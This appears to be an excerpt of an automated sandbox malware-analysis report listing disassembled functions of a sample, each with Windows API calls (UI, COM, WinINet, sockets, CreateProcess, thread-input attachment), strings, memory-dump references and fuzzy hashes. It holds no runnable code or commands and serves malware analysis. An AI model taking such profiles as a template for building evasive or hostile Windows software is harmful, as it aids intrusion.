GetDlgCtrlID.USER32 ref: 00D7C874
GetParent.USER32 ref: 00D7C890
SendMessageW.USER32(00000000,?,00000111,?), ref: 00D7C893
GetDlgCtrlID.USER32(?), ref: 00D7C89C
GetParent.USER32(?), ref: 00D7C8B8
SendMessageW.USER32(00000000,?,?,00000111), ref: 00D7C8BB

Strings

ComboBox, xrefs: 00D7C7F0
ListBox, xrefs: 00D7C828

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: ComboBox$ListBox
API String ID: 313823418-1403004172
Opcode ID: cd5d4ee9939dcf85a757cef5f2cc82fde6d36bf8841060618eb4f971ec6d365a
Instruction ID: 70b80e35cabf6aa16a58c401467461fec1cf34cd089b7a3f6e25a50a2ced4609
Opcode Fuzzy Hash: cd5d4ee9939dcf85a757cef5f2cc82fde6d36bf8841060618eb4f971ec6d365a
Instruction Fuzzy Hash: B721A171940209AFDF00ABA4CC85EBEB775EB45300F144156F555E3291EB78981ADB30

Function 00D7C8CD Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00D7C8D9
GetClassNameW.USER32(00000000,?,00000100), ref: 00D7C8EE
_wcscmp.LIBCMT ref: 00D7C900
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00D7C97B

Strings

list, xrefs: 00D7C95D
smallicons, xrefs: 00D7C943
SHELLDLL_DefView, xrefs: 00D7C8FA
largeicons, xrefs: 00D7C90F
details, xrefs: 00D7C929

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 68e97342e34364086a9a042dbd50b8b2d64f5f127642bab137559286d02897bf
Instruction ID: c7be52da7daed431d02793c6f87e45f3a0830825d26dd7143ed3948d22ebc096
Opcode Fuzzy Hash: 68e97342e34364086a9a042dbd50b8b2d64f5f127642bab137559286d02897bf
Instruction Fuzzy Hash: 0C112C7A258307BEF6542A34DC0BCB677DCDB07361B20802AFF04E50D6FBA1A9018974

Function 00D9B74B Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00D9B777
CoInitialize.OLE32(00000000), ref: 00D9B7A4
CoUninitialize.OLE32 ref: 00D9B7AE
GetRunningObjectTable.OLE32(00000000,?), ref: 00D9B8AE
SetErrorMode.KERNEL32(00000001,00000029), ref: 00D9B9DB
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002), ref: 00D9BA0F
CoGetObject.OLE32(?,00000000,00DCD91C,?), ref: 00D9BA32
SetErrorMode.KERNEL32(00000000), ref: 00D9BA45
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00D9BAC5
VariantClear.OLEAUT32(00DCD91C), ref: 00D9BAD5

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 9d7c60ebad78fe15da0e40ab80d4e4d4090938f051f34f9e0a135fdac52ca277
Instruction ID: cc2069923781041fe1e4075f8b387a8717bbdbe5a35d044e84dd8863d41e0950
Opcode Fuzzy Hash: 9d7c60ebad78fe15da0e40ab80d4e4d4090938f051f34f9e0a135fdac52ca277
Instruction Fuzzy Hash: 6FC10471604305AFCB00DF68D98492AB7E9FF88714F05492EF98ADB251DB71ED05CB62

Function 00D8B05A Relevance: 15.3, APIs: 10, Instructions: 317COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 00D8B137

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 8dd8d134a4e7e2ceb0fb4463f23e1bf780067bd4a009d705c54c2301060ce7b0
Instruction ID: d32421d89ac64caa44c39d8bb9929b554ac9cf8204ad28a617a88f52726a747d
Opcode Fuzzy Hash: 8dd8d134a4e7e2ceb0fb4463f23e1bf780067bd4a009d705c54c2301060ce7b0
Instruction Fuzzy Hash: A9C19D75A0421ADFDB04EF98C481BAEBBB4FF09325F24406AE656E7251D734A941CBB0

Function 00D6BA66 Relevance: 15.2, APIs: 10, Instructions: 219COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00D6BA74

Part of subcall function 00D68984: __mtinitlocknum.LIBCMT ref: 00D68996
Part of subcall function 00D68984: EnterCriticalSection.KERNEL32(00D60127,?,00D6876D,0000000D), ref: 00D689AF

__calloc_crt.LIBCMT ref: 00D6BA85

Part of subcall function 00D67616: __calloc_impl.LIBCMT ref: 00D67625
Part of subcall function 00D67616: Sleep.KERNEL32(00000000,?,00D60127,?,00D4125D,00000058,?,?), ref: 00D6763C

@_EH4_CallFilterFunc@8.LIBCMT ref: 00D6BAA0
GetStartupInfoW.KERNEL32(?,00DF6990,00000064,00D66B14,00DF67D8,00000014), ref: 00D6BAF9
__calloc_crt.LIBCMT ref: 00D6BB44
GetFileType.KERNEL32(00000001), ref: 00D6BB8B
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 00D6BBC4

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 1426640281-0
Opcode ID: edecfacaad21ec66a4376013396f3d63bdbf716246f54915854b6fa48fe95b39
Instruction ID: b781269b017542c58a5c67b76077a5d189de08d9dec1cf09ba45f3deb5f988f8
Opcode Fuzzy Hash: edecfacaad21ec66a4376013396f3d63bdbf716246f54915854b6fa48fe95b39
Instruction Fuzzy Hash: 1281A1709047458FDB24CF68C8846A9BBF0EF45334B28426ED4A6EB3D1DB359986CB74

Function 00D87212 Relevance: 15.1, APIs: 10, Instructions: 107windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00D87226
__swprintf.LIBCMT ref: 00D87233

Part of subcall function 00D6234B: __woutput_l.LIBCMT ref: 00D623A4

FindResourceW.KERNEL32(?,?,0000000E), ref: 00D8725D
LoadResource.KERNEL32(?,00000000), ref: 00D87269
LockResource.KERNEL32(00000000), ref: 00D87276
FindResourceW.KERNEL32(?,?,00000003), ref: 00D87296
LoadResource.KERNEL32(?,00000000), ref: 00D872A8
SizeofResource.KERNEL32(?,00000000), ref: 00D872B7
LockResource.KERNEL32(?), ref: 00D872C3
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00D87322

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 503081db5ee530f4d0bcaee4dd76bb4af0b65106995f4266d615cd1eca3dd2f9
Instruction ID: 28d389dec1d952cf7f397bc8a74f6d00ea116f264af09e17fffff9076e7c45ec
Opcode Fuzzy Hash: 503081db5ee530f4d0bcaee4dd76bb4af0b65106995f4266d615cd1eca3dd2f9
Instruction Fuzzy Hash: 42318DB1A0425BABDB01AF61DC89EBFBBA9FF08341B244425F911E6250E734D950DBB4

Function 00D84A5B Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00D84A7D
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00D83AD7,?,00000001), ref: 00D84A91
GetWindowThreadProcessId.USER32(00000000), ref: 00D84A98
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00D83AD7,?,00000001), ref: 00D84AA7
GetWindowThreadProcessId.USER32(?,00000000), ref: 00D84AB9
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00D83AD7,?,00000001), ref: 00D84AD2
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00D83AD7,?,00000001), ref: 00D84AE4
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00D83AD7,?,00000001), ref: 00D84B29
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00D83AD7,?,00000001), ref: 00D84B3E
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00D83AD7,?,00000001), ref: 00D84B49

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 4b1cd487686eb668dab51459e8fe5a209cc1fd7a8d88f040a82a1959acf1912a
Instruction ID: f0619965386474b1639660bd1641acd2c35364f225d870d99ac7a15fc75c25a7
Opcode Fuzzy Hash: 4b1cd487686eb668dab51459e8fe5a209cc1fd7a8d88f040a82a1959acf1912a
Instruction Fuzzy Hash: 2231C171610307AFDB10EB65DC88F6AB7AEAB50311F184119F905E7290D3B5ED86CB70

Function 00DBEC19 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00DBEC32
SendMessageW.USER32(?,00001328,00000000,?), ref: 00DBEC49
GetWindowDC.USER32(?), ref: 00DBEC55
GetPixel.GDI32(00000000,?,?), ref: 00DBEC64
ReleaseDC.USER32(?,00000000), ref: 00DBEC76
GetSysColor.USER32(00000005), ref: 00DBEC94

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 2330d5f3116588fd5a1630b18b75cfc63ac21ea41a6f168f2537897efc893799
Instruction ID: 466ebeac19caabca7ebb66432a607399ac9a172bdecad4960292070ef37c0fdd
Opcode Fuzzy Hash: 2330d5f3116588fd5a1630b18b75cfc63ac21ea41a6f168f2537897efc893799
Instruction Fuzzy Hash: 16214A31500706EFDB21AB64EC48FEA7BA2EB05322F144225FA66A52E1CB314945DF31

Function 00D7D978 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 239COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00D7DD46), ref: 00D7DC86

Strings

TEXT, xrefs: 00D7DBBD
INSTANCE, xrefs: 00D7DB94
REGEXPCLASS, xrefs: 00D7DA4C
CLASS, xrefs: 00D7DA06
CLASSNN, xrefs: 00D7DA29
NAME, xrefs: 00D7DAB8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 914b3c7756a67a2353c1f64d1d8c264daf70794a8f370be5f9e2cccda63e371c
Instruction ID: 1d94acdbe09f92dc2418b3b696cf027d69e192558e6f4ae9443e8d22756a4c50
Opcode Fuzzy Hash: 914b3c7756a67a2353c1f64d1d8c264daf70794a8f370be5f9e2cccda63e371c
Instruction Fuzzy Hash: 33919270A00606ABCB08DF64C491BE9FB76FF19310F58C519DD9EA7251EB30A959CBB0

Function 00D5C24A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00D5C2D2

Part of subcall function 00D5C697: GetClientRect.USER32(?,?), ref: 00D5C6C0
Part of subcall function 00D5C697: GetWindowRect.USER32(?,?), ref: 00D5C701
Part of subcall function 00D5C697: ScreenToClient.USER32(?,?), ref: 00D5C729

GetDC.USER32 ref: 00DBE006
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00DBE019
SelectObject.GDI32(00000000,00000000), ref: 00DBE027
SelectObject.GDI32(00000000,00000000), ref: 00DBE03C
ReleaseDC.USER32(?,00000000), ref: 00DBE044
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00DBE0CF

Strings

U, xrefs: 00DBDFA4

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 7f7bf4949738e123c19951fddb630f22dd4880a3c0c6e1b4453c09dee4e84bbc
Instruction ID: 6acb085641083bfedffecc36d729463b87fb51cab44efb218750067503e48360
Opcode Fuzzy Hash: 7f7bf4949738e123c19951fddb630f22dd4880a3c0c6e1b4453c09dee4e84bbc
Instruction Fuzzy Hash: 1571DF31400209EFCF219F64CC80AEA7BB6FF49351F184269ED969B2A6D731C885DB71

Function 00D94C23 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00D94C5E
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00D94C8A
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00D94CCC
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00D94CE1
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D94CEE
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00D94D1E
InternetCloseHandle.WININET(00000000), ref: 00D94D65

Part of subcall function 00D956A9: GetLastError.KERNEL32(?,?,00D94A2B,00000000,00000000,00000001), ref: 00D956BE

Strings

, xrefs: 00D94D17

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
String ID:
API String ID: 1241431887-3916222277
Opcode ID: 85e5bbd383633b084f195b4c07f362b149d3e65d1ed7004978a77bdd26d5fc55
Instruction ID: 6fedf22ece58ab35921ff8dc76d83842d6d13a5edd850ffb478e7a5a58df796a
Opcode Fuzzy Hash: 85e5bbd383633b084f195b4c07f362b149d3e65d1ed7004978a77bdd26d5fc55
Instruction Fuzzy Hash: 77417EB5501619BFEF129FA0CC89FBB77ADEF08314F14412AFA019A196D7B099458BB0

Function 00D9BAE6 Relevance: 13.9, APIs: 9, Instructions: 419COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00DDDBF0), ref: 00D9BBA1
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00DDDBF0), ref: 00D9BBD5
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00D9BD33
SysFreeString.OLEAUT32(?), ref: 00D9BD5D
StringFromGUID2.OLE32(?,?,00000028,?,00DDDBF0), ref: 00D9BEAD
ProgIDFromCLSID.OLE32(?,?,?,00DDDBF0), ref: 00D9BEF7
CoTaskMemFree.OLE32(?,?,?,00DDDBF0), ref: 00D9BF14

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Free$FromString$FileLibraryModuleNamePathProgQueryTaskType
String ID:
API String ID: 793797124-0
Opcode ID: 0c3f9e5f9e6935b657dd5419334d893e46ed54fac5bb9da4eaef2501a523a553
Instruction ID: d6247ed3e769d379cda6e212304e912734bd7f98060e9a47786fdff2e0e10812
Opcode Fuzzy Hash: 0c3f9e5f9e6935b657dd5419334d893e46ed54fac5bb9da4eaef2501a523a553
Instruction Fuzzy Hash: 48F12975A00209EFCF14DFA4D984EAEB7BAFF89314F158459F905AB250DB31AE41CB60

Function 00DA23C5 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA23E6
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00DA2579
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00DA259D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00DA25DD
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00DA25FF
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00DA2760
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00DA2792
CloseHandle.KERNEL32(?), ref: 00DA27C1
CloseHandle.KERNEL32(?), ref: 00DA2838

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 770bd9a351057ff662280ffe6dae71636144a128fed15567c833fe6b27c30684
Instruction ID: 44b4c68ddcc9843ca11ba70481a3ed8adcc46eef9d7b0682e43fd4d3d5cde713
Opcode Fuzzy Hash: 770bd9a351057ff662280ffe6dae71636144a128fed15567c833fe6b27c30684
Instruction Fuzzy Hash: 4AD1A0316043019FCB14EF29C891B6ABBE1EF8A350F18845DF8899B2A1DB71DD45CB72

Function 00D99AC3 Relevance: 13.7, APIs: 9, Instructions: 220networkCOMMON

Download Yara Rule

APIs

select.WSOCK32 ref: 00D99B38
WSAGetLastError.WSOCK32(00000000), ref: 00D99B45
__WSAFDIsSet.WSOCK32(00000000,?,00000000), ref: 00D99B6F
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00D99B90
WSAGetLastError.WSOCK32(00000000), ref: 00D99B9F
inet_ntoa.WSOCK32(?), ref: 00D99C0C
htons.WSOCK32(?,?,?,00000000,?), ref: 00D99C51
_memmove.LIBCMT ref: 00D99D10

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorLast$_memmovehtonsinet_ntoaselect
String ID:
API String ID: 1718709218-0
Opcode ID: beead062d8a6fa084c35c7f5a24c04e16ef5764f8746913004df45bfe26c9e10
Instruction ID: e28ac200dad3de263d5657726a3daf52444ad40e66a5e6d66b9d330947d16e62
Opcode Fuzzy Hash: beead062d8a6fa084c35c7f5a24c04e16ef5764f8746913004df45bfe26c9e10
Instruction Fuzzy Hash: A271BC71508201AFDB10EF68DC95E6BB7E9EB84720F144A2DF556972A1DB30DD04CBB2

Function 00DAB14A Relevance: 13.7, APIs: 9, Instructions: 167COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00DAB204

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: a19030407b761cb0fa9ff68b9ba98d0025227b4438f5ce21a16cb35e880874a1
Instruction ID: ebd7040ab352fedceb32ea7e25ced504753bd3da733dd0cf3e20fa3b41f39dbf
Opcode Fuzzy Hash: a19030407b761cb0fa9ff68b9ba98d0025227b4438f5ce21a16cb35e880874a1
Instruction Fuzzy Hash: BD518E30600305BEEF249B298C99F9E3B65EB07374F244113F955EA2A2C771E992CB70

Function 00D5A599 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00DBE9EA
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00DBEA0B
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00DBEA20
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00DBEA3D
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00DBEA64
